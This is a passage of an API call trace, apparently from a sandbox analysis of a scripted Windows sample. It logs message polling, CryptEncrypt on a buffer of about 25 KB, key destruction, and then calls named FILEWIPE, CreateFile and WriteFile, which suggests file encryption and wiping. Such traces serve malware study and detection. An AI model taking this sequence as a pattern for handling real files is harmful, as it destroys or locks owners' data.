hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.833] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.833] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.834] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.834] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.834] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.835] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.835] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x62f9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6300) returned 1 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.835] CharLowerBuffW (in: lpsz="byte[25345]", cchLength=0xb | out: lpsz="byte[25345]") returned 0xb [0026.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.836] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4386650*, pdwDataLen=0xe8f3dfdf68*=0x62f9, dwBufLen=0x6300 | out: pbData=0xe8f4386650*, pdwDataLen=0xe8f3dfdf68*=0x6300) returned 1 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.836] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.839] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.839] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.839] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.839] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.839] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.840] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.840] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.840] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.841] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.841] CharLowerBuffW (in: lpsz="byte[25337]", cchLength=0xb | out: lpsz="byte[25337]") returned 0xb [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.841] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.841] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.843] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.844] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.844] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.845] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 